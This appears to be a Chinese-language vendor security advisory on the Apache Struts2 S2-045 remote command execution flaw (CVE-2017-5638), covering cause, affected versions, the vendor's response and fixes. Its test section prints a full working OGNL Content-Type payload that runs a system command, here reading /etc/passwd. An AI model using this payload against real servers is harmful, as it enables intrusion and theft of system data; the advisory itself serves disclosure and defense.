2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。
完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。
公告全文:https://help.aliyun.com/noticelist/articleid/20273580.html
联动响应 零安全事件
在流程启动启动的同时,阿里云云盾的各个产品联动响应,帮助用户应对Struts2漏洞。安骑士迅速完成云上ECS安全检测,态势感知用行为检测功能精准捕捉攻击源IP,Web应用防火墙在次日上午成功升级防护规则,帮助用户有效拦截利用该漏洞发起的攻击。
通过及时地检测、通知和规则升级,所有阿里云云盾用户均未因此漏洞发生安全事件。
漏洞分析
0x00 漏洞公告
根据官方的漏洞公告
https://cwiki.apache.org/confluence/display/WW/S2-045
可以看出漏洞的主要原因是出现在Content-Type
It is possible to perform aRCE attack with a malicious Content-Type value. If the Content-Type value isn'tvalid an exception is thrown which is then used to display an error message toa users.
通过http header中的Content-Type,注入OGNL语句来进行远程命令执行。
Struts2在对于异常的处理时出现了问题。
0x01 影响范围
受影响的版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
0x02 漏洞危害
- 测试环境:tomcat7,Struts2.3.16
- 测试过程:在上传页面拦截请求的数据包
在http header里增加一个Content-Type的key,value就是我们的poc
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
全球攻击分布态势
修复建议
- 对于使用了基于Jakarta实现文件上传Multipart解析器,检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,请升级到struts 2.3.32或2.5.10.1版本。
- 使用其它方式实现文件上传的Multipart解析器。
- 使用第三方的防护设备进行防护。
- 删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
- 阿里云云盾Web应用防火墙已经支持该漏洞防御,点击这里可查看介绍。